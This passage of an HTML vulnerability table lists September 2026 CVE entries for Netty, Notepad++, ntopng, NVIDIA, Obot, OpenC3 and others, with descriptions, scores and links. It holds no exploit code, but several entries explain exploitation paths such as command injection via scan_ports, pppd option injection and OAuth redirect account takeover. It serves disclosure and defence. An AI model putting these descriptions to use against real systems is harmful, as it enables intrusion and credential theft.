&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100664&quot; target=&quot;_blank&quot;&gt;CVE-2026-100664&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;netty--netty&lt;/td&gt;
&lt;td&gt;Netty versions from 4.2.11.Final before 4.2.18.Final contain an incomplete hostname verification fix in the QUIC certificate verification path when using a plain X509TrustManager. The BoringSSLCertificateVerifyCallback discards the SSLEngine for plain trust managers, preventing endpoint identification from running even when HTTPS verification is configured. Attackers on the network path can present a certificate chain for the wrong hostname that the plain trust manager accepts, bypassing hostname authentication for QUIC clients.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100665&quot; target=&quot;_blank&quot;&gt;CVE-2026-100665&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;netty--netty&lt;/td&gt;
&lt;td&gt;Netty&#039;s HttpServerCodec (io.netty:netty-codec-http) in versions 4.2.0.Final through 4.2.16.Final and in versions up to and including 4.1.136.Final pairs each outbound response with an inbound request by calling pollMethod() once per response, including for 1xx informational responses. If a client pipelines an HTTP/1.1 GET carrying an Expect: 100-continue header followed by a HEAD request, the 100 Continue response consumes the queued GET method, so the subsequent 200 OK for the GET is paired with HEAD and its body is dropped, while the following 200 OK for the HEAD request is written with a body. This desynchronizes HTTP parsing on the connection: the GET entity is never delivered and the HEAD response body is interpreted as the GET body, resulting in response splitting and unsafe connection reuse. Fixed in 4.2.17.Final and 4.1.137.Final.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100666&quot; target=&quot;_blank&quot;&gt;CVE-2026-100666&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Nexcess--Event Tickets&lt;/td&gt;
&lt;td&gt;Unauthenticated Cross Site Scripting (XSS) in Event Tickets &amp;lt;= 5.29.4 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93526&quot; target=&quot;_blank&quot;&gt;CVE-2026-93526&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nezhahq--nezha&lt;/td&gt;
&lt;td&gt;Nezha 2.2.3 contains a Host header injection regression in the OAuth2 redirect endpoint. When the new optional dashboard_host setting is empty, /api/v1/oauth2/{provider} (cmd/dashboard/controller/oauth2.go) reflects the attacker-supplied HTTP Host header into the redirect_uri sent to the identity provider instead of falling back to the configured install_host. An attacker who induces a victim to begin OAuth2 login via a request that reaches Nezha with a forged Host header can cause an attacker-controlled callback URL to be used as the redirect_uri; if the OAuth2 provider accepts it, the victim&#039;s authorization code is delivered to the attacker origin, allowing the attacker to complete the OAuth2 login/binding flow and take over the account. This regresses the fix for GHSA-9rc6-8cjv-rcvx and is configuration-dependent (dashboard_host empty). At the time of the advisory no patched version was available.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101090&quot; target=&quot;_blank&quot;&gt;CVE-2026-101090&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Nick van Wobbie--Mollie Forms&lt;/td&gt;
&lt;td&gt;Contributor SQL Injection in Mollie Forms &amp;lt;= 2.11.0 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93773&quot; target=&quot;_blank&quot;&gt;CVE-2026-93773&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NicolasKulka--WPS Limit Login&lt;/td&gt;
&lt;td&gt;Unauthenticated Cross Site Scripting (XSS) in WPS Limit Login &amp;lt;= 1.5.9.3 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93622&quot; target=&quot;_blank&quot;&gt;CVE-2026-93622&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ningzichun--student-management-system&lt;/td&gt;
&lt;td&gt;A weakness has been identified in ningzichun student-management-system up to 98760f5711cf6dc8b4adca53a9e207ca49b02ebf. This affects an unknown function of the file admin/fun/getStudent.php. This manipulation of the argument sid causes authorization bypass. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97646&quot; target=&quot;_blank&quot;&gt;CVE-2026-97646&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ninja Forms--Ninja Forms&lt;/td&gt;
&lt;td&gt;The Ninja Forms WordPress plugin 3.15.3 does not escape submitted form field values before outputting them on the submission edit screen in the admin area, which could allow unauthenticated users to submit values through a public form that then execute in the browser of any high-privileged user who reviews the submission.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92438&quot; target=&quot;_blank&quot;&gt;CVE-2026-92438&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ninja Forms--Ninja Forms&lt;/td&gt;
&lt;td&gt;The Ninja Forms WordPress plugin 3.15.3 does not prevent user-submitted form field values from being deserialised when an administrator later exports form submissions to CSV, allowing unauthenticated attackers to perform PHP Object Injection; if a suitable POP chain is present via another installed plugin or theme, this can lead to actions such as arbitrary file operations or remote code execution.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91827&quot; target=&quot;_blank&quot;&gt;CVE-2026-91827&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;niteo--CMP Coming Soon &amp;amp; Maintenance Plugin by NiteoThemes&lt;/td&gt;
&lt;td&gt;The CMP - Coming Soon &amp;amp; Maintenance Plugin by NiteoThemes plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the &#039;cmp_ajax_import_settings&#039; AJAX action in all versions up to, and including, 4.1.17. This makes it possible for authenticated attackers, with Editor-level access and above, to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12470&quot; target=&quot;_blank&quot;&gt;CVE-2026-12470&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nm-l2tp--NetworkManager-l2tp&lt;/td&gt;
&lt;td&gt;NetworkManager-l2tp through 1.52.4, fixed in 1.52.6, contains a privilege escalation vulnerability that allows local users with permission to create VPN connections to execute arbitrary code as root by injecting pppd options through a crafted VPN username. Attackers can embed a double-quote character or whitespace in the username to break out of the pppd options file quoting context and include the pppd plugin directive, causing the privileged pppd process to load an attacker-controlled shared object.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75131&quot; target=&quot;_blank&quot;&gt;CVE-2026-75131&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nodemailer--nodemailer&lt;/td&gt;
&lt;td&gt;nodemailer before 10.0.6 contains a denial of service vulnerability in the addressparser free-text fallback regex pattern that exhibits quadratic backtracking behavior. Attackers can supply crafted email header values with long whitespace-free runs to block the Node.js event loop for tens of seconds, causing service unavailability.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100700&quot; target=&quot;_blank&quot;&gt;CVE-2026-100700&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NodeRedis--redis-parser&lt;/td&gt;
&lt;td&gt;redis-parser through 3.0.0 fails to validate the multi-bulk length value in RESP protocol parsing, allowing attackers to trigger an uncaught RangeError by supplying an excessively large declared length. A malicious or compromised Redis endpoint can deliver a crafted RESP header with a length above 2^32-1 to crash the Node.js client process.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97057&quot; target=&quot;_blank&quot;&gt;CVE-2026-97057&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;notepad-plus-plus--notepad-plus-plus&lt;/td&gt;
&lt;td&gt;Notepad++ is a free and open-source source code editor. Prior to 8.9.8, Notepad++ contains a stack buffer overflow in PluginsManager::loadPluginFromPath in PowerEditor/src/MISC/PluginsManager/PluginsManager.cpp because the plugin-supplied GetLexerCount() result controls a loop that writes to containers[30] without enforcing NB_MAX_EXTERNAL_LANG. A malicious or compromised plugin that reports more than 30 lexers can write beyond the stack array and corrupt control data, which can permit arbitrary code execution in the Notepad++ process context. This issue is fixed in version 8.9.8.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85279&quot; target=&quot;_blank&quot;&gt;CVE-2026-85279&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;notepad-plus-plus--notepad-plus-plus&lt;/td&gt;
&lt;td&gt;Notepad++ is a free and open-source source code editor. Prior to 8.9.8, the Folder as Workspace Run by system action in Notepad++ can resolve a different sibling file than the file selected by the user. When an attacker places a command script whose name is the selected text-file path with .cmd appended, and the user invokes Run by system on the text file on Windows 10 or Windows 11, Notepad++ can execute the sibling script as the current user instead of opening the selected file. This issue is fixed in version 8.9.8.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77605&quot; target=&quot;_blank&quot;&gt;CVE-2026-77605&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;notepad-plus-plus--notepad-plus-plus&lt;/td&gt;
&lt;td&gt;Notepad++ is a free and open-source source code editor. From 8.9.7 until 8.9.8, the Notepad++ updater and signature verification path can accept a modified GUP.exe file whose embedded certificate metadata remains present even though its Authenticode digest is invalid. An attacker who can replace or plant the updater-related file can cause Notepad++ to launch attacker-modified code when a user triggers the updater path, but the issue does not provide remote code execution by itself. This issue is fixed in version 8.9.8.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85995&quot; target=&quot;_blank&quot;&gt;CVE-2026-85995&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;notepad-plus-plus--notepad-plus-plus&lt;/td&gt;
&lt;td&gt;Notepad++ is a free and open-source source code editor. Prior to 8.9.8, Notepad++ contains a stack buffer overflow in NppParameters::writeSession in PowerEditor/src/Parameters.cpp because it copies a session path derived from -settingsDir= into backupPathName[MAX_PATH] with unbounded wcscpy and appends SESSION_BACKUP_EXT with unbounded wcscat. A sufficiently long settings directory causes the backup suffix to exceed the fixed stack buffer when Notepad++ saves the session, and the protected release build terminates through its stack canary, causing denial of service. This issue is fixed in version 8.9.8.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86054&quot; target=&quot;_blank&quot;&gt;CVE-2026-86054&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ntop--ntopng&lt;/td&gt;
&lt;td&gt;ntopng is a web-based network traffic monitoring application. Prior to 6.7.260717, the vulnerability-scan endpoints scripts/lua/rest/v2/add/host/to_scan.lua and scripts/lua/rest/v2/exec/host/schedule_vulnerability_scan.lua accept the scan_ports parameter without an administrator gate and pass it through validateSingleWord, which permits shell metacharacters. scripts/lua/modules/vulnerability_scan/vs_utils.lua then concatenates scan_ports into an nmap command in nmap_scan_host and executes the command through ntop.execCmd or ntop.execCmdAsync and popen. Any authenticated non-admin user can execute operating-system commands as the ntopng process account when nmap is available. Because the endpoints accept GET requests while ntopng&#039;s CSRF validation applies to POST request bodies, an attacker can also trigger the command through a logged-in user&#039;s browser without possessing ntopng credentials. This issue is fixed in version 6.7.260717.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82412&quot; target=&quot;_blank&quot;&gt;CVE-2026-82412&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ntop--ntopng&lt;/td&gt;
&lt;td&gt;ntopng is a web-based network traffic monitoring application. Prior to 6.7.260717, POST /lua/rest/v2/edit/system/edit_blacklist.lua in scripts/lua/rest/v2/edit/system/edit_blacklist.lua lacks an administrator check and calls lists_utils.editList for any authenticated user. The list_name, list_enabled, url, and list_update parameters allow a non-admin user to redirect threat-intelligence downloads to attacker-controlled content, disable blocklists, or prevent scheduled updates. The changes are persisted through Redis and reloaded without a lower-level authorization guard, undermining the integrity and availability of ntopng&#039;s threat-intelligence monitoring. This issue is fixed in version 6.7.260717.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83621&quot; target=&quot;_blank&quot;&gt;CVE-2026-83621&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ntop--ntopng&lt;/td&gt;
&lt;td&gt;ntopng is a web-based network traffic monitoring application. Prior to 6.7.260718, scripts/lua/rest/v2/get/system/configurations/list_available_backups.lua and scripts/lua/rest/v2/get/system/configurations/download_backup.lua allow any authenticated non-admin user to list and download system-configuration backups without an administrator check. The download path reaches backup_config.export_backup, and prefs_dump_utils.build_prefs_dump_table includes the ntopng.user.* Redis key space in the backup. A downloaded backup can therefore disclose password hashes for local users and, when configured, API tokens, TOTP secrets, and WebAuthn credential data, enabling account compromise through usable or recoverable credentials. This issue is fixed in version 6.7.260718.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84990&quot; target=&quot;_blank&quot;&gt;CVE-2026-84990&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NVIDIA--Infrastructure Controller&lt;/td&gt;
&lt;td&gt;NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause use of hard-coded credentials. A successful exploit of this vulnerability might lead to escalation of privileges, data tampering, denial of service, and information disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65113&quot; target=&quot;_blank&quot;&gt;CVE-2026-65113&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NVIDIA--Infrastructure Controller&lt;/td&gt;
&lt;td&gt;NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause missing authentication for a critical function. A successful exploit of this vulnerability might lead to data tampering, denial of service, and information disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65114&quot; target=&quot;_blank&quot;&gt;CVE-2026-65114&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NVIDIA--Infrastructure Controller&lt;/td&gt;
&lt;td&gt;NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause an improper authentication issue. A successful exploit of this vulnerability might lead to escalation of privileges, information disclosure, and data tampering.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65121&quot; target=&quot;_blank&quot;&gt;CVE-2026-65121&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NVIDIA--Infrastructure Controller&lt;/td&gt;
&lt;td&gt;NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause SQL injection. A successful exploit of this vulnerability might lead to code execution, data tampering, denial of service, and information disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65128&quot; target=&quot;_blank&quot;&gt;CVE-2026-65128&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NVIDIA--Infrastructure Controller&lt;/td&gt;
&lt;td&gt;NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause OS command injection. A successful exploit of this vulnerability might lead to code execution, data tampering, denial of service, and information disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65130&quot; target=&quot;_blank&quot;&gt;CVE-2026-65130&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NVIDIA--Infrastructure Controller&lt;/td&gt;
&lt;td&gt;NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause improper certificate validation. A successful exploit of this vulnerability might lead to information disclosure, data tampering, and denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65118&quot; target=&quot;_blank&quot;&gt;CVE-2026-65118&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NVIDIA--NeMo Speech&lt;/td&gt;
&lt;td&gt;NVIDIA NeMo contains a vulnerability in the TabularTokenizer class where it deserializes an untrusted, attacker-controlled .pkl file via pickle.load() without validation. A successful exploit of this vulnerability may lead to code execution, data tampering, denial of service, and information disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65179&quot; target=&quot;_blank&quot;&gt;CVE-2026-65179&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NVIDIA--NeMo Speech&lt;/td&gt;
&lt;td&gt;NVIDIA NeMo Speech for all platforms contains a vulnerability where malicious data created by an attacker could cause remote code execution. A successful exploit of this vulnerability might lead to code execution, information disclosure, and data tampering.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-24239&quot; target=&quot;_blank&quot;&gt;CVE-2026-24239&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NVIDIA--NeMo Speech&lt;/td&gt;
&lt;td&gt;NVIDIA NeMo Speech for all platforms contains a vulnerability in the speech data explorer component, where malicious data created by an attacker could cause remote code execution. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, and data tampering.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-24267&quot; target=&quot;_blank&quot;&gt;CVE-2026-24267&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NVIDIA--NeMo Speech&lt;/td&gt;
&lt;td&gt;NVIDIA NeMo Speech for all platforms contains a vulnerability where malicious input created by an attacker could cause a code injection. A successful exploit of this vulnerability might lead to code execution, information disclosure, and data tampering.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65111&quot; target=&quot;_blank&quot;&gt;CVE-2026-65111&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NVIDIA--NeMo Speech&lt;/td&gt;
&lt;td&gt;NVIDIA NeMo contains a vulnerability in its dataset-loading workflow where a maliciously crafted model_config.yaml can inject unsafe parameters. A successful exploit of this vulnerability may lead to code execution, data tampering, denial of service, and information disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65178&quot; target=&quot;_blank&quot;&gt;CVE-2026-65178&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;obot-platform--obot&lt;/td&gt;
&lt;td&gt;Obot is an open-source AI agent/MCP platform. In all versions up to and including commit d7e6970, the Docker quickstart command documented in the README starts the container listening on 0.0.0.0:8080 with authentication disabled by default. When authentication is disabled, every request is mapped to a synthetic &quot;nobody&quot; user that holds the Owner and Admin roles, so any unauthenticated party who can reach the exposed port obtains full administrative access to the Obot API and UI, including the ability to register and launch attacker-controlled MCP servers. Because the quickstart also mounts /var/run/docker.sock into the container, the MCP runtime backend reachable this way has access to the host&#039;s Docker control surface. The fix is documentation-only: the quickstart now enables authentication, and operators who followed the previous instructions should set OBOT_SERVER_ENABLE_AUTHENTICATION=true before exposing the host to any untrusted network.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101065&quot; target=&quot;_blank&quot;&gt;CVE-2026-101065&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;obot-platform--obot&lt;/td&gt;
&lt;td&gt;obot versions before v0.21.1 fail to enforce Access Control Rules on the /mcp-connect endpoint, allowing any authenticated user to connect to restricted MCP servers if they possess the server ID. Attackers can bypass authorization checks to access and manipulate sensitive backend systems through MCP tool calls using stored OAuth credentials.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101084&quot; target=&quot;_blank&quot;&gt;CVE-2026-101084&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;obot-platform--obot&lt;/td&gt;
&lt;td&gt;Obot before v0.23.0 (affected versions &amp;lt;= v0.22.1) running with OBOT_SERVER_ENABLE_AUTHENTICATION=true exposes OAuth dynamic client registration without authentication and without any restriction on the redirect URIs a client may register. Because the authorization flow auto-completes for an already logged-in user with no consent screen, an attacker who registers a client pointing at their own domain and induces a logged-in victim to visit a single crafted authorization URL receives an authorization code at the attacker-controlled redirect URI and can exchange it for an access token and refresh token. The token minted by the MCP OAuth flow carries the victim&#039;s full group set in the JWT, and Obot validated only the issuer and not the audience, so the token is accepted as a bearer token against any Obot API endpoint the victim can access rather than being scoped to the requested MCP server, allowing the attacker to read or modify the victim&#039;s resources until the token is revoked. v0.23.0 adds a consent screen, restricts MCP OAuth tokens to the MCP involved in the request, and enforces audience validation.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101062&quot; target=&quot;_blank&quot;&gt;CVE-2026-101062&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;obot-platform--obot&lt;/td&gt;
&lt;td&gt;Obot before v0.23.0 contains a server-side request forgery vulnerability in remote MCP server registration that allows privileged users to specify arbitrary URLs without destination validation. Attackers with Power User or higher roles can coerce Obot to make requests to internal services and cloud metadata endpoints, reading responses in error messages to disclose sensitive credentials.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101064&quot; target=&quot;_blank&quot;&gt;CVE-2026-101064&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OFFIS--DCMTK&lt;/td&gt;
&lt;td&gt;DCMTK through 3.7.0 contains a heap over-read vulnerability in ConcatenationLoader that copies pixel data frames without validating the PixelData buffer length against the declared NumberOfFrames. Attackers can craft malicious DICOM instances declaring more frames than the buffer contains to trigger heap over-reads that crash the application or leak adjacent heap memory.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97059&quot; target=&quot;_blank&quot;&gt;CVE-2026-97059&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenC3--cosmos&lt;/td&gt;
&lt;td&gt;OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From 5.1.0 until 7.3.0, authenticated non-administrator users can write content under targets_modified/ that is later executed by multiple configuration paths below the intended code-execution privilege tier. Table and command or telemetry definitions are processed through ConfigParser, PacketConfig, GENERIC_READ_CONVERSION, or GENERIC_WRITE_CONVERSION, allowing ERB rendering or Ruby and Python evaluation, while openc3-cosmos-script-runner-api/scripts/run_suite_analysis.rb executes suite procedure files through require. Storage uploads, screen saves, and script creation can place content in the overlay, and triggering table processing, a cmd/tlm reload, or suite analysis executes the content in cmd-tlm-api, decom microservices, or Script Runner with access to internal credentials and data. This issue is fixed in version 7.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77602&quot; target=&quot;_blank&quot;&gt;CVE-2026-77602&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenC3--cosmos&lt;/td&gt;
